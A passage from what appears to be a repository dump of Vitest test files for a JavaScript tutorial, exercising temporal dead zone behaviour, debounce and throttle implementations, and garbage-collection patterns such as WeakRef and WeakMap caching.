Counter()\n      expect(Counter.getCount()).toBe(2)\n    })\n  })\n\n  describe('TDZ in Static Class Fields', () => {\n    it('should return undefined for static fields referencing later fields', () => {\n      // Note: This is NOT TDZ - it's property access returning undefined\n      // because the property doesn't exist yet on the class object\n      class Example {\n        static a = Example.b // b not yet defined, returns undefined\n        static b = 10\n      }\n\n      expect(Example.a).toBe(undefined) // Not TDZ, just undefined property\n      expect(Example.b).toBe(10)\n    })\n\n    it('should allow static fields to reference earlier fields', () => {\n      class Example {\n        static a = 10\n        static b = Example.a + 5\n      }\n\n      expect(Example.a).toBe(10)\n      expect(Example.b).toBe(15)\n    })\n\n    it('should throw for static field self-reference before class exists', () => {\n      // This DOES throw because the class itself is in TDZ\n      expect(() => {\n        eval(`\n          const x = MyClass.value  // MyClass is in TDZ\n          class MyClass {\n            static value = 10\n          }\n        `)\n      }).toThrow(ReferenceError)\n    })\n  })\n\n  describe('TDZ vs Hoisting Comparison', () => {\n    it('should demonstrate var is hoisted with undefined', () => {\n      function example() {\n        expect(x).toBe(undefined) // hoisted, initialized to undefined\n        var x = 10\n        expect(x).toBe(10)\n      }\n\n      example()\n    })\n\n    it('should demonstrate function declarations are fully hoisted', () => {\n      // Can call before declaration\n      expect(hoistedFn()).toBe(\"I work!\")\n\n      function hoistedFn() {\n        return \"I work!\"\n      }\n    })\n\n    it('should demonstrate function expressions are NOT hoisted', () => {\n      expect(() => {\n        eval(`\n          notHoisted()\n          var notHoisted = function() { return \"Not hoisted\" }\n        `)\n      }).toThrow(TypeError) // notHoisted is undefined, not a function\n    })\n\n    it('should demonstrate arrow functions are NOT hoisted', () => {\n      expect(() => {\n        eval(`\n          arrowFn()\n          const arrowFn = () => \"Not hoisted\"\n        `)\n      }).toThrow(ReferenceError) // TDZ for const\n    })\n  })\n\n  describe('Practical TDZ Scenarios', () => {\n    describe('Shadowing Trap', () => {\n      it('should demonstrate the shadowing TDZ trap', () => {\n        const x = 10\n\n        expect(() => {\n          eval(`\n            function example() {\n              const outer = x // Which x? The inner one (TDZ!)\n              let x = 20\n              return outer\n            }\n            example()\n          `)\n        }).toThrow(ReferenceError)\n      })\n\n      it('should show the correct way to handle shadowing', () => {\n        const x = 10\n\n        function example() {\n          const outer = x // Refers to outer x (no shadowing yet)\n          // Don't declare another x if you need the outer one!\n          return outer\n        }\n\n        expect(example()).toBe(10)\n      })\n    })\n\n    describe('Conditional Initialization', () => {\n      it('should have TDZ regardless of conditional branches', () => {\n        expect(() => {\n          eval(`\n            {\n              const value = x // TDZ even though if is false\n              if (false) {\n                // This never runs, but x is still in TDZ\n              }\n              let x = 10\n            }\n          `)\n        }).toThrow(ReferenceError)\n      })\n    })\n\n    describe('Closure Over TDZ Variables', () => {\n      it('should allow creating closures over TDZ variables', () => {\n        function createAccessor() {\n          // Function created before value is initialized\n          const getValue = () => value\n          const setValue = (v) => { value = v }\n          \n          let value = \"initial\"\n          \n          return { getValue, setValue }\n        }\n\n        const accessor = createAccessor()\n        expect(accessor.getValue()).toBe(\"initial\")\n        \n        accessor.setValue(\"updated\")\n        expect(accessor.getValue()).toBe(\"updated\")\n      })\n    })\n  })\n\n  describe('Why TDZ Exists', () => {\n    it('should catch use-before-initialization bugs', () => {\n      // Without TDZ (var), this bug is silent\n      function buggyWithVar() {\n        var total = price * quantity // undefined * undefined = NaN\n        var price = 10\n        var quantity = 5\n        return total\n      }\n\n      expect(buggyWithVar()).toBeNaN() // Silent bug!\n\n      // With TDZ (let/const), the bug is caught immediately\n      expect(() => {\n        eval(`\n          function buggyWithLet() {\n            let total = price * quantity // ReferenceError!\n            let price = 10\n            let quantity = 5\n            return total\n          }\n          buggyWithLet()\n        `)\n      }).toThrow(ReferenceError) // Bug caught!\n    })\n\n    it('should make const semantically meaningful', () => {\n      // const should never have an \"undefined\" state\n      // TDZ ensures you can't observe const before it has its value\n      const PI = 3.14159\n\n      // If there was no TDZ, const would briefly be undefined\n      // which contradicts its purpose as a constant\n      expect(PI).toBe(3.14159)\n    })\n  })\n\n  describe('Edge Cases', () => {\n    it('should handle nested blocks with same variable name', () => {\n      let x = \"outer\"\n\n      {\n        let x = \"middle\"\n        expect(x).toBe(\"middle\")\n\n        {\n          let x = \"inner\"\n          expect(x).toBe(\"inner\")\n        }\n\n        expect(x).toBe(\"middle\")\n      }\n\n      expect(x).toBe(\"outer\")\n    })\n\n    it('should have TDZ in switch case blocks', () => {\n      expect(() => {\n        eval(`\n          switch (1) {\n            case 1:\n              console.log(x) // TDZ!\n              let x = 10\n              break\n          }\n        `)\n      }).toThrow(ReferenceError)\n    })\n\n    it('should avoid TDZ with block scoping in switch', () => {\n      let result\n\n      switch (1) {\n        case 1: {\n          let x = 10\n          result = x\n          break\n        }\n      }\n\n      expect(result).toBe(10)\n    })\n\n    it('should have TDZ for let in try block visible in catch', () => {\n      expect(() => {\n        eval(`\n          try {\n            throw new Error()\n          } catch (e) {\n            console.log(x) // x is in TDZ\n          }\n          let x = 10\n        `)\n      }).toThrow(ReferenceError)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/memory-performance/debouncing-throttling/debouncing-throttling.test.js",
    "content": "import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n\n/**\n * Tests for Debouncing & Throttling concept page\n * Source: docs/beyond/concepts/debouncing-throttling.mdx\n */\n\ndescribe('Debouncing & Throttling', () => {\n  beforeEach(() => {\n    vi.useFakeTimers()\n  })\n\n  afterEach(() => {\n    vi.useRealTimers()\n  })\n\n  describe('Basic Debounce Implementation', () => {\n    // Source: docs/beyond/concepts/debouncing-throttling.mdx:47-60\n    function debounce(fn, delay) {\n      let timeoutId\n      \n      return function(...args) {\n        // Clear any existing timer\n        clearTimeout(timeoutId)\n        \n        // Set a new timer\n        timeoutId = setTimeout(() => {\n          fn.apply(this, args)\n        }, delay)\n      }\n    }\n\n    it('should delay function execution', () => {\n      const fn = vi.fn()\n      const debouncedFn = debounce(fn, 300)\n      \n      debouncedFn('test')\n      \n      // Function should not be called immediately\n      expect(fn).not.toHaveBeenCalled()\n      \n      // Advance time by 300ms\n      vi.advanceTimersByTime(300)\n      \n      // Now it should be called\n      expect(fn).toHaveBeenCalledTimes(1)\n      expect(fn).toHaveBeenCalledWith('test')\n    })\n\n    it('should reset timer on subsequent calls', () => {\n      const fn = vi.fn()\n      const debouncedFn = debounce(fn, 300)\n      \n      // Simulate user typing \"hello\" quickly\n      debouncedFn('h')\n      vi.advanceTimersByTime(50)\n      \n      debouncedFn('he')\n      vi.advanceTimersByTime(50)\n      \n      debouncedFn('hel')\n      vi.advanceTimersByTime(50)\n      \n      debouncedFn('hell')\n      vi.advanceTimersByTime(50)\n      \n      debouncedFn('hello')\n      \n      // Function should not be called yet (timer keeps resetting)\n      expect(fn).not.toHaveBeenCalled()\n      \n      // Wait for 300ms after last call\n      vi.advanceTimersByTime(300)\n      \n      // Should only be called once with final value\n      expect(fn).toHaveBeenCalledTimes(1)\n      expect(fn).toHaveBeenCalledWith('hello')\n    })\n\n    it('should preserve this context', () => {\n      const fn = vi.fn()\n      const debouncedFn = debounce(fn, 100)\n      \n      const obj = {\n        value: 42,\n        method: debouncedFn\n      }\n      \n      obj.method()\n      vi.advanceTimersByTime(100)\n      \n      expect(fn).toHaveBeenCalledTimes(1)\n    })\n\n    it('should pass all arguments to the original function', () => {\n      const fn = vi.fn()\n      const debouncedFn = debounce(fn, 100)\n      \n      debouncedFn('arg1', 'arg2', { key: 'value' })\n      vi.advanceTimersByTime(100)\n      \n      expect(fn).toHaveBeenCalledWith('arg1', 'arg2', { key: 'value' })\n    })\n  })\n\n  describe('Basic Throttle Implementation', () => {\n    // Source: docs/beyond/concepts/debouncing-throttling.mdx:95-109\n    function throttle(fn, interval) {\n      let lastTime = 0\n      \n      return function(...args) {\n        const now = Date.now()\n        \n        // Only execute if enough time has passed\n        if (now - lastTime >= interval) {\n          lastTime = now\n          fn.apply(this, args)\n        }\n      }\n    }\n\n    it('should execute immediately on first call', () => {\n      const fn = vi.fn()\n      const throttledFn = throttle(fn, 100)\n      \n      throttledFn('first')\n      \n      expect(fn).toHaveBeenCalledTimes(1)\n      expect(fn).toHaveBeenCalledWith('first')\n    })\n\n    it('should ignore calls within the interval', () => {\n      const fn = vi.fn()\n      const throttledFn = throttle(fn, 100)\n      \n      throttledFn('call1')\n      expect(fn).toHaveBeenCalledTimes(1)\n      \n      // Calls within 100ms should be ignored\n      vi.advanceTimersByTime(30)\n      throttledFn('call2')\n      expect(fn).toHaveBeenCalledTimes(1)\n      \n      vi.advanceTimersByTime(30)\n      throttledFn('call3')\n      expect(fn).toHaveBeenCalledTimes(1)\n      \n      vi.advanceTimersByTime(30)\n      throttledFn('call4')\n      expect(fn).toHaveBeenCalledTimes(1)\n    })\n\n    it('should execute again after interval passes', () => {\n      const fn = vi.fn()\n      const throttledFn = throttle(fn, 100)\n      \n      throttledFn('first')\n      expect(fn).toHaveBeenCalledTimes(1)\n      \n      vi.advanceTimersByTime(100)\n      throttledFn('second')\n      expect(fn).toHaveBeenCalledTimes(2)\n      expect(fn).toHaveBeenLastCalledWith('second')\n    })\n\n    it('should maintain regular execution rate during continuous calls', () => {\n      const fn = vi.fn()\n      const throttledFn = throttle(fn, 100)\n      \n      // Simulate continuous scroll events every 10ms for 350ms\n      for (let i = 0; i < 35; i++) {\n        throttledFn(`event${i}`)\n        vi.advanceTimersByTime(10)\n      }\n      \n      // Should have executed approximately 4 times (at 0, 100, 200, 300ms)\n      expect(fn.mock.calls.length).toBeGreaterThanOrEqual(3)\n      expect(fn.mock.calls.length).toBeLessThanOrEqual(5)\n    })\n  })\n\n  describe('Leading Edge Debounce', () => {\n    // Source: docs/beyond/concepts/debouncing-throttling.mdx:181-199\n    function debounceLeading(fn, delay) {\n      let timeoutId\n      \n      return function(...args) {\n        // Execute immediately if no pending timeout\n        if (!timeoutId) {\n          fn.apply(this, args)\n        }\n        \n        // Clear and reset the timeout\n        clearTimeout(timeoutId)\n        timeoutId = setTimeout(() => {\n          timeoutId = null  // Allow next leading call\n        }, delay)\n      }\n    }\n\n    it('should execute immediately on first call', () => {\n      const fn = vi.fn()\n      const debouncedFn = debounceLeading(fn, 300)\n      \n      debouncedFn('first')\n      \n      // Should be called immediately\n      expect(fn).toHaveBeenCalledTimes(1)\n      expect(fn).toHaveBeenCalledWith('first')\n    })\n\n    it('should ignore rapid subsequent calls', () => {\n      const fn = vi.fn()\n      const debouncedFn = debounceLeading(fn, 300)\n      \n      // First call executes immediately\n      debouncedFn('call1')\n      expect(fn).toHaveBeenCalledTimes(1)\n      \n      // Rapid calls are ignored\n      debouncedFn('call2')\n      debouncedFn('call3')\n      debouncedFn('call4')\n      \n      expect(fn).toHaveBeenCalledTimes(1)\n    })\n\n    it('should allow new leading call after delay expires', () => {\n      const fn = vi.fn()\n      const debouncedFn = debounceLeading(fn, 300)\n      \n      debouncedFn('first')\n      expect(fn).toHaveBeenCalledTimes(1)\n      \n      vi.advanceTimersByTime(300)\n      \n      debouncedFn('second')\n      expect(fn).toHaveBeenCalledTimes(2)\n      expect(fn).toHaveBeenLastCalledWith('second')\n    })\n  })\n\n  describe('Enhanced Debounce with Cancel', () => {\n    // Source: docs/beyond/concepts/debouncing-throttling.mdx:222-261\n    function debounce(fn, delay, options = {}) {\n      let timeoutId\n      let lastArgs\n      let lastThis\n      \n      const { leading = false, trailing = true } = options\n      \n      function debounced(...args) {\n        lastArgs = args\n        lastThis = this\n        \n        const invokeLeading = leading && !timeoutId\n        \n        clearTimeout(timeoutId)\n        \n        timeoutId = setTimeout(() => {\n          timeoutId = null\n          if (trailing && lastArgs) {\n            fn.apply(lastThis, lastArgs)\n            lastArgs = null\n            lastThis = null\n          }\n        }, delay)\n        \n        if (invokeLeading) {\n          fn.apply(this, args)\n        }\n      }\n      \n      debounced.cancel = function() {\n        clearTimeout(timeoutId)\n        timeoutId = null\n        lastArgs = null\n        lastThis = null\n      }\n      \n      debounced.flush = function() {\n        if (timeoutId && lastArgs) {\n          fn.apply(lastThis, lastArgs)\n          debounced.cancel()\n        }\n      }\n      \n      return debounced\n    }\n\n    it('should support trailing option (default behavior)', () => {\n      const fn = vi.fn()\n      const debouncedFn = debounce(fn, 100, { trailing: true })\n      \n      debouncedFn('test')\n      expect(fn).not.toHaveBeenCalled()\n      \n      vi.advanceTimersByTime(100)\n      expect(fn).toHaveBeenCalledTimes(1)\n    })\n\n    it('should support leading option', () => {\n      const fn = vi.fn()\n      const debouncedFn = debounce(fn, 100, { leading: true, trailing: false })\n      \n      debouncedFn('first')\n      expect(fn).toHaveBeenCalledTimes(1)\n      \n      debouncedFn('second')\n      expect(fn).toHaveBeenCalledTimes(1) // Still 1, second call ignored\n      \n      vi.advanceTimersByTime(100)\n      expect(fn).toHaveBeenCalledTimes(1) // No trailing call\n    })\n\n    it('should support both leading and trailing', () => {\n      const fn = vi.fn()\n      const debouncedFn = debounce(fn, 100, { leading: true, trailing: true })\n      \n      debouncedFn('first')\n      expect(fn).toHaveBeenCalledTimes(1) // Leading call\n      expect(fn).toHaveBeenCalledWith('first')\n      \n      debouncedFn('second')\n      expect(fn).toHaveBeenCalledTimes(1) // Still 1\n      \n      vi.advanceTimersByTime(100)\n      expect(fn).toHaveBeenCalledTimes(2) // Trailing call\n      expect(fn).toHaveBeenLastCalledWith('second')\n    })\n\n    it('should cancel pending execution', () => {\n      const fn = vi.fn()\n      const debouncedFn = debounce(fn, 100)\n      \n      debouncedFn('test')\n      expect(fn).not.toHaveBeenCalled()\n      \n      debouncedFn.cancel()\n      \n      vi.advanceTimersByTime(100)\n      expect(fn).not.toHaveBeenCalled() // Cancelled, never executed\n    })\n\n    it('should flush pending execution immediately', () => {\n      const fn = vi.fn()\n      const debouncedFn = debounce(fn, 100)\n      \n      debouncedFn('test')\n      expect(fn).not.toHaveBeenCalled()\n      \n      debouncedFn.flush()\n      expect(fn).toHaveBeenCalledTimes(1)\n      expect(fn).toHaveBeenCalledWith('test')\n    })\n  })\n\n  describe('Debounce vs Throttle Behavior Comparison', () => {\n    function debounce(fn, delay) {\n      let timeoutId\n      return function(...args) {\n        clearTimeout(timeoutId)\n        timeoutId = setTimeout(() => fn.apply(this, args), delay)\n      }\n    }\n\n    function throttle(fn, interval) {\n      let lastTime = 0\n      return function(...args) {\n        const now = Date.now()\n        if (now - lastTime >= interval) {\n          lastTime = now\n          fn.apply(this, args)\n        }\n      }\n    }\n\n    it('debounce should only fire once after burst of events', () => {\n      const fn = vi.fn()\n      const debouncedFn = debounce(fn, 100)\n      \n      // Simulate burst of 10 events over 100ms\n      for (let i = 0; i < 10; i++) {\n        debouncedFn(`event${i}`)\n        vi.advanceTimersByTime(10)\n      }\n      \n      expect(fn).not.toHaveBeenCalled() // Not yet, timer keeps resetting\n      \n      vi.advanceTimersByTime(100) // Wait for debounce delay\n      \n      expect(fn).toHaveBeenCalledTimes(1)\n      expect(fn).toHaveBeenCalledWith('event9') // Last event value\n    })\n\n    it('throttle should fire multiple times during burst of events', () => {\n      const fn = vi.fn()\n      const throttledFn = throttle(fn, 100)\n      \n      // Simulate burst of events over 350ms (event every 10ms)\n      for (let i = 0; i <= 35; i++) {\n        throttledFn(`event${i}`)\n        vi.advanceTimersByTime(10)\n      }\n      \n      // Should have fired approximately 4 times (at 0, 100, 200, 300ms)\n      expect(fn.mock.calls.length).toBeGreaterThanOrEqual(3)\n    })\n  })\n\n  describe('Common Pitfalls', () => {\n    function debounce(fn, delay) {\n      let timeoutId\n      return function(...args) {\n        clearTimeout(timeoutId)\n        timeoutId = setTimeout(() => fn.apply(this, args), delay)\n      }\n    }\n\n    it('should demonstrate why debounced function must be created once', () => {\n      const fn = vi.fn()\n      \n      // ❌ WRONG: Creating new debounced function each call\n      // This doesn't actually debounce because each call gets a new timer\n      const wrongWay = () => {\n        const newDebounced = debounce(fn, 100)\n        newDebounced('test')\n      }\n      \n      wrongWay()\n      wrongWay()\n      wrongWay()\n      \n      vi.advanceTimersByTime(100)\n      \n      // All 3 calls went through because each had its own timer\n      expect(fn).toHaveBeenCalledTimes(3)\n    })\n\n    it('should demonstrate correct way - create debounced function once', () => {\n      const fn = vi.fn()\n      \n      // ✓ CORRECT: Create once, reuse\n      const debouncedFn = debounce(fn, 100)\n      \n      debouncedFn('test1')\n      debouncedFn('test2')\n      debouncedFn('test3')\n      \n      vi.advanceTimersByTime(100)\n      \n      // Only 1 call went through (proper debouncing)\n      expect(fn).toHaveBeenCalledTimes(1)\n      expect(fn).toHaveBeenCalledWith('test3')\n    })\n  })\n\n  describe('Real-World Use Case: Search Autocomplete', () => {\n    function debounce(fn, delay) {\n      let timeoutId\n      return function(...args) {\n        clearTimeout(timeoutId)\n        timeoutId = setTimeout(() => fn.apply(this, args), delay)\n      }\n    }\n\n    it('should only search after user stops typing', () => {\n      const mockSearch = vi.fn()\n      const debouncedSearch = debounce(mockSearch, 300)\n      \n      // Simulate user typing \"react\" character by character\n      debouncedSearch('r')\n      vi.advanceTimersByTime(100)\n      expect(mockSearch).not.toHaveBeenCalled()\n      \n      debouncedSearch('re')\n      vi.advanceTimersByTime(100)\n      expect(mockSearch).not.toHaveBeenCalled()\n      \n      debouncedSearch('rea')\n      vi.advanceTimersByTime(100)\n      expect(mockSearch).not.toHaveBeenCalled()\n      \n      debouncedSearch('reac')\n      vi.advanceTimersByTime(100)\n      expect(mockSearch).not.toHaveBeenCalled()\n      \n      debouncedSearch('react')\n      // User stops typing, wait for debounce\n      vi.advanceTimersByTime(300)\n      \n      expect(mockSearch).toHaveBeenCalledTimes(1)\n      expect(mockSearch).toHaveBeenCalledWith('react')\n    })\n  })\n\n  describe('Real-World Use Case: Scroll Position Tracking', () => {\n    function throttle(fn, interval) {\n      let lastTime = 0\n      return function(...args) {\n        const now = Date.now()\n        if (now - lastTime >= interval) {\n          lastTime = now\n          fn.apply(this, args)\n        }\n      }\n    }\n\n    it('should update scroll position at regular intervals', () => {\n      const mockUpdatePosition = vi.fn()\n      const throttledUpdate = throttle(mockUpdatePosition, 100)\n      \n      // Simulate 500ms of scrolling (event every 16ms, like 60fps)\n      for (let i = 0; i < 31; i++) {\n        throttledUpdate({ scrollY: i * 10 })\n        vi.advanceTimersByTime(16)\n      }\n      \n      // Should have updated approximately 5 times (every 100ms)\n      expect(mockUpdatePosition.mock.calls.length).toBeGreaterThanOrEqual(4)\n      expect(mockUpdatePosition.mock.calls.length).toBeLessThanOrEqual(6)\n      \n      // First call should be the first scroll event\n      expect(mockUpdatePosition.mock.calls[0][0]).toEqual({ scrollY: 0 })\n    })\n  })\n\n  describe('Real-World Use Case: Prevent Double Submit', () => {\n    function debounceLeading(fn, delay) {\n      let timeoutId\n      return function(...args) {\n        if (!timeoutId) {\n          fn.apply(this, args)\n        }\n        clearTimeout(timeoutId)\n        timeoutId = setTimeout(() => {\n          timeoutId = null\n        }, delay)\n      }\n    }\n\n    it('should only submit once on double-click', () => {\n      const mockSubmit = vi.fn()\n      const safeSubmit = debounceLeading(mockSubmit, 1000)\n      \n      // User double-clicks rapidly\n      safeSubmit({ formData: 'order123' })\n      safeSubmit({ formData: 'order123' })\n      safeSubmit({ formData: 'order123' })\n      \n      // Only first submit should go through\n      expect(mockSubmit).toHaveBeenCalledTimes(1)\n      expect(mockSubmit).toHaveBeenCalledWith({ formData: 'order123' })\n      \n      // After 1 second, can submit again\n      vi.advanceTimersByTime(1000)\n      \n      safeSubmit({ formData: 'order456' })\n      expect(mockSubmit).toHaveBeenCalledTimes(2)\n      expect(mockSubmit).toHaveBeenLastCalledWith({ formData: 'order456' })\n    })\n  })\n\n  describe('requestAnimationFrame Throttle Alternative', () => {\n    // Note: jsdom doesn't have a real rAF, but we can test the pattern\n    function throttleWithRAF(fn) {\n      let ticking = false\n      let lastArgs\n      \n      return function(...args) {\n        lastArgs = args\n        \n        if (!ticking) {\n          ticking = true\n          \n          // Using setTimeout to simulate rAF behavior in tests\n          setTimeout(() => {\n            fn.apply(this, lastArgs)\n            ticking = false\n          }, 16) // ~60fps\n        }\n      }\n    }\n\n    it('should batch rapid calls into animation frames', () => {\n      const fn = vi.fn()\n      const throttledFn = throttleWithRAF(fn)\n      \n      // Multiple calls before frame executes\n      throttledFn('call1')\n      throttledFn('call2')\n      throttledFn('call3')\n      \n      expect(fn).not.toHaveBeenCalled()\n      \n      vi.advanceTimersByTime(16)\n      \n      // Only last args should be used\n      expect(fn).toHaveBeenCalledTimes(1)\n      expect(fn).toHaveBeenCalledWith('call3')\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/memory-performance/garbage-collection/garbage-collection.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Garbage Collection', () => {\n  // ============================================================\n  // REACHABILITY AND REFERENCES\n  // From garbage-collection.mdx lines 51-62\n  // ============================================================\n  \n  describe('Reachability and References', () => {\n    // From lines 51-62: Basic reachability example\n    it('should demonstrate object reachability through variables', () => {\n      // 'user' references the object\n      let user = { name: 'Alice' }\n      \n      // The object is reachable through 'user'\n      expect(user).toEqual({ name: 'Alice' })\n      \n      // After nullifying, the reference is gone\n      user = null\n      \n      // Now 'user' is null (object is unreachable, eligible for GC)\n      expect(user).toBe(null)\n    })\n    \n    // From lines 97-119: Family example with circular references\n    it('should create objects with circular references', () => {\n      function createFamily() {\n        let father = { name: 'John' }\n        let mother = { name: 'Jane' }\n        \n        // Create references between objects\n        father.spouse = mother\n        mother.spouse = father\n        \n        return { father, mother }\n      }\n      \n      let family = createFamily()\n      \n      // Both father and mother are reachable through 'family'\n      expect(family.father.name).toBe('John')\n      expect(family.mother.name).toBe('Jane')\n      \n      // Circular references exist\n      expect(family.father.spouse).toBe(family.mother)\n      expect(family.mother.spouse).toBe(family.father)\n      expect(family.father.spouse.spouse).toBe(family.father)\n      \n      // After nullifying family, objects become unreachable\n      family = null\n      expect(family).toBe(null)\n      // Both objects (including their circular refs) are now eligible for GC\n    })\n  })\n  \n  // ============================================================\n  // MARK-AND-SWEEP AND CIRCULAR REFERENCES\n  // From garbage-collection.mdx lines 181-192\n  // ============================================================\n  \n  describe('Circular References', () => {\n    // From lines 181-192: Circular reference with family\n    it('should handle circular references between objects', () => {\n      let family = { father: { name: 'John' }, mother: { name: 'Jane' } }\n      family.father.spouse = family.mother\n      family.mother.spouse = family.father\n      \n      // Circular reference: father ↔ mother\n      expect(family.father.spouse.name).toBe('Jane')\n      expect(family.mother.spouse.name).toBe('John')\n      \n      // Objects reference each other\n      expect(family.father.spouse.spouse.name).toBe('John')\n      \n      family = null\n      // Mark phase would start from roots, can't reach father or mother\n      // Neither gets marked, both get swept\n      // Circular reference doesn't prevent GC in mark-and-sweep!\n      expect(family).toBe(null)\n    })\n    \n    // From lines 212-229: createCycle function demonstrating circular refs\n    it('should create circular references that do not leak in mark-and-sweep', () => {\n      function createCycle() {\n        let objA = {}\n        let objB = {}\n        \n        objA.ref = objB\n        objB.ref = objA\n        \n        // Circular reference exists inside function\n        expect(objA.ref).toBe(objB)\n        expect(objB.ref).toBe(objA)\n        expect(objA.ref.ref).toBe(objA)\n        \n        // Return nothing - objects become unreachable after function returns\n      }\n      \n      createCycle()\n      // With mark-and-sweep: Both collected (unreachable from roots)\n      // No leak!\n    })\n  })\n  \n  // ============================================================\n  // REFERENCE TRACKING\n  // From garbage-collection.mdx lines 646-659\n  // ============================================================\n  \n  describe('Reference Tracking (Test Your Knowledge Q1)', () => {\n    // From lines 646-659: Multiple references to same object\n    it('should keep object alive while any reference exists', () => {\n      let user = { name: 'Alice' }\n      let admin = user\n      \n      // Both variables reference the same object\n      expect(user).toBe(admin)\n      expect(user.name).toBe('Alice')\n      expect(admin.name).toBe('Alice')\n      \n      user = null\n      \n      // Object still exists through 'admin'\n      expect(user).toBe(null)\n      expect(admin).toEqual({ name: 'Alice' })\n      \n      // Only when all references are gone can it be collected\n      admin = null\n      expect(admin).toBe(null)\n    })\n  })\n  \n  // ============================================================\n  // GC-FRIENDLY CODE PATTERNS\n  // From garbage-collection.mdx lines 320-334\n  // ============================================================\n  \n  describe('GC-Friendly Code Patterns', () => {\n    // From lines 320-334: Variables going out of scope\n    it('should allow variables to go out of scope naturally', () => {\n      function processData() {\n        const largeArray = new Array(100).fill('data')\n        \n        // Process the array...\n        const result = largeArray.reduce((sum, item) => sum + item.length, 0)\n        \n        return result\n        // largeArray goes out of scope here\n      }\n      \n      const result = processData()\n      // largeArray is already unreachable\n      expect(result).toBe(400) // 100 items * 4 chars each\n    })\n    \n    // From lines 340-351: Nullifying references to large objects\n    it('should allow early nullification for large objects', () => {\n      function longRunningTask() {\n        let hugeData = new Array(1000).fill('x')\n        \n        const summary = hugeData.length\n        \n        hugeData = null  // Allow GC to reclaim memory now\n        \n        // Can still use summary\n        expect(hugeData).toBe(null)\n        \n        return summary\n      }\n      \n      const result = longRunningTask()\n      expect(result).toBe(1000)\n    })\n  })\n  \n  // ============================================================\n  // CLOSURE MEMORY PATTERNS\n  // From garbage-collection.mdx lines 382-408\n  // ============================================================\n  \n  describe('Closure Memory Patterns', () => {\n    // From lines 399-408: Better closure pattern\n    it('should only capture what is needed in closures', () => {\n      function createBetterHandler() {\n        const hugeData = new Array(1000000).fill('x')\n        const summary = hugeData.length  // Extract what you need\n        \n        return function handler() {\n          return `Data size was: ${summary}`\n        }\n        // hugeData goes out of scope, only 'summary' is captured\n      }\n      \n      const handler = createBetterHandler()\n      expect(handler()).toBe('Data size was: 1000000')\n      // Only 'summary' (a number) is captured, not the huge array\n    })\n    \n    // From lines 382-396: Closure capturing more than needed\n    it('should demonstrate closure capturing outer scope', () => {\n      function createHandler() {\n        const hugeData = new Array(100).fill('x')\n        \n        return function handler() {\n          // This closure captures the outer scope\n          // In some engines, hugeData may be kept alive\n          return 'Handler called'\n        }\n      }\n      \n      const handler = createHandler()\n      expect(handler()).toBe('Handler called')\n    })\n  })\n  \n  // ============================================================\n  // TIMER CLEANUP PATTERNS\n  // From garbage-collection.mdx lines 448-465\n  // ============================================================\n  \n  describe('Timer Cleanup', () => {\n    // From lines 457-464: Clearing intervals\n    it('should clear intervals to allow GC', () => {\n      let callCount = 0\n      const data = { value: 'test' }\n      \n      const intervalId = setInterval(() => {\n        callCount++\n      }, 10)\n      \n      // Wait a bit then clear\n      return new Promise((resolve) => {\n        setTimeout(() => {\n          clearInterval(intervalId)\n          const countBeforeClear = callCount\n          \n          // After clearing, no more calls should happen\n          setTimeout(() => {\n            // Count should not have increased significantly\n            expect(callCount).toBe(countBeforeClear)\n            resolve()\n          }, 50)\n        }, 50)\n      })\n    })\n  })\n  \n  // ============================================================\n  // WEAKREF BASICS\n  // From garbage-collection.mdx lines 477-488\n  // ============================================================\n  \n  describe('WeakRef Basics', () => {\n    // From lines 477-488: WeakRef usage\n    it('should create a WeakRef and deref it', () => {\n      const someObject = { data: 'important' }\n      const weakRef = new WeakRef(someObject)\n      \n      // Object still exists, deref returns it\n      const obj = weakRef.deref()\n      expect(obj).toBe(someObject)\n      expect(obj.data).toBe('important')\n    })\n    \n    it('should demonstrate WeakRef API', () => {\n      let target = { value: 42 }\n      const ref = new WeakRef(target)\n      \n      // While target exists, deref returns it\n      expect(ref.deref()).toBe(target)\n      expect(ref.deref().value).toBe(42)\n      \n      // Note: We cannot test GC actually collecting the object\n      // because GC timing is non-deterministic\n    })\n  })\n  \n  // ============================================================\n  // WEAKMAP FOR CACHING\n  // From garbage-collection.mdx lines 555-564\n  // ============================================================\n  \n  describe('WeakMap for Caching', () => {\n    // From lines 555-564: WeakMap cache pattern\n    it('should use WeakMap for object-keyed caching', () => {\n      const cache = new WeakMap()\n      \n      function expensiveComputation(obj) {\n        return Object.keys(obj).length * 100\n      }\n      \n      function getCached(obj) {\n        if (!cache.has(obj)) {\n          cache.set(obj, expensiveComputation(obj))\n        }\n        return cache.get(obj)\n      }\n      \n      const myObj = { a: 1, b: 2, c: 3 }\n      \n      // First call computes\n      expect(getCached(myObj)).toBe(300)\n      \n      // Second call returns cached value\n      expect(getCached(myObj)).toBe(300)\n      expect(cache.has(myObj)).toBe(true)\n      \n      // Different object, different computation\n      const anotherObj = { x: 1 }\n      expect(getCached(anotherObj)).toBe(100)\n    })\n    \n    // Test that WeakMap keys can be garbage collected\n    it('should allow WeakMap keys to be GC eligible', () => {\n      const cache = new WeakMap()\n      \n      let key = { id: 1 }\n      cache.set(key, 'cached value')\n      \n      expect(cache.has(key)).toBe(true)\n      expect(cache.get(key)).toBe('cached value')\n      \n      // If we lose the reference to key, the entry becomes GC eligible\n      // We can't test actual GC, but we can verify the API works\n      key = null\n      // The WeakMap entry is now eligible for garbage collection\n    })\n  })\n  \n  // ============================================================\n  // DELETE OPERATOR BEHAVIOR\n  // From garbage-collection.mdx lines 500-510\n  // ============================================================\n  \n  describe('Delete Operator', () => {\n    // From lines 500-510: delete vs undefined\n    it('should remove property with delete', () => {\n      const obj = { data: new Array(100) }\n      \n      expect('data' in obj).toBe(true)\n      expect(obj.data).toBeDefined()\n      \n      delete obj.data\n      \n      // Property is removed\n      expect('data' in obj).toBe(false)\n      expect(obj.data).toBe(undefined)\n    })\n    \n    it('should compare delete vs setting undefined', () => {\n      const obj1 = { data: [1, 2, 3] }\n      const obj2 = { data: [1, 2, 3] }\n      \n      // Using delete\n      delete obj1.data\n      expect('data' in obj1).toBe(false)\n      expect(Object.keys(obj1)).toEqual([])\n      \n      // Using undefined\n      obj2.data = undefined\n      expect('data' in obj2).toBe(true) // Property still exists!\n      expect(Object.keys(obj2)).toEqual(['data'])\n      expect(obj2.data).toBe(undefined)\n    })\n  })\n  \n  // ============================================================\n  // OBJECT CACHING WITHOUT WEAKMAP (LEAK PATTERN)\n  // From garbage-collection.mdx lines 544-553\n  // 